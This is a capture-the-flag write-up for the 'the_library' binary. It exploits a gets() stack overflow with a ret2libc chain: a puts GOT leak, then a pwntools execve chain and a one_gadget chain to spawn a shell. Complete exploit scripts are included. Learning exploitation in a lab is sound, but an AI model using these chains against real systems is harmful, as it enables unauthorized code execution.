Files
The binary
The program asks you to guess what book it is thinking about.
Buffer Overflow
The input is copied with gets to a 520 bytes long buffer, so we have yet another stack buffer overflow. To get the exact offset I used gdb:
Ret2libc
If you are not used to that concept, the post bellow might help:
To leak libc base we can use rop gadgets to call puts passing a got address as argument.
Copy #!/usr/bin/env python
from pwn import *
# Definitions
e = context.binary = ELF('./the_library',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
io = remote('challenge.ctf.games', 31125)
rop = 552*'A'
rop += p64(0x401493) # pop rdi; ret
rop += p64(e.got['puts'])
rop += p64(0x4010e0) # puts@plt
rop += p64(e.sym['main'])
io.recvrepeat(0.03)
io.sendline(rop)
io.recvuntil('Wrong :(')
io.recvline()
leak = u64(io.recv()[:6].ljust(8,'\x00'))
libc.address = leak - libc.sym['puts']
After leaking the libc base, it all comes down to calculate the base offset to other gadgets such as system() or a one gadget. A neat way to fly through rop challenges is to just use pwntools.
Copy libc_rop = ROP(libc)
libc_rop.execve(next(libc.search(b'/bin/sh')), 0, 0)
rop = 552*'A'
rop += libc_rop.chain()
io.sendline(rop)
io.interactive()
Although, if you are trying to learn about rop I think you should try to manually craft a rop chain, one way of doing it in the challenge is using a one gadget.
A few are available but we would have to set some registers to NULL.
In this case, r15 is already 0 when our payload is executed, so setting either rsi, rdx or r12 to 0 should get our one gadget to work.
This gadget should do it.
Copy rop = 552*'A'
rop += p64(0x40148c) # r12; r13; r14; r15 = 0
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(libc.address + 0xe6c7e) # one_gadget
Final exploit
Copy #!/usr/bin/env python
from pwn import *
# Definitions
e = context.binary = ELF('./the_library',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
if args.REMOTE:
io = remote('challenge.ctf.games', 31125)
else:
io = process(e.path)
rop = 552*'A'
rop += p64(0x401493) # pop rdi; ret
rop += p64(e.got['puts'])
rop += p64(0x4010e0) # puts@plt
rop += p64(e.sym['main'])
io.recvrepeat(0.03)
io.sendline(rop)
io.recvuntil('Wrong :(')
io.recvline()
leak = u64(io.recv()[:6].ljust(8,'\x00'))
libc.address = leak - libc.sym['puts']
log.success('Libc: ' + hex(libc.address))
rop = 552*'A'
rop += p64(0x40148c) # r12; r13; r14; r15 = 0
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(libc.address + 0xe6c7e) # one_gadget
io.sendline(rop)
io.interactive()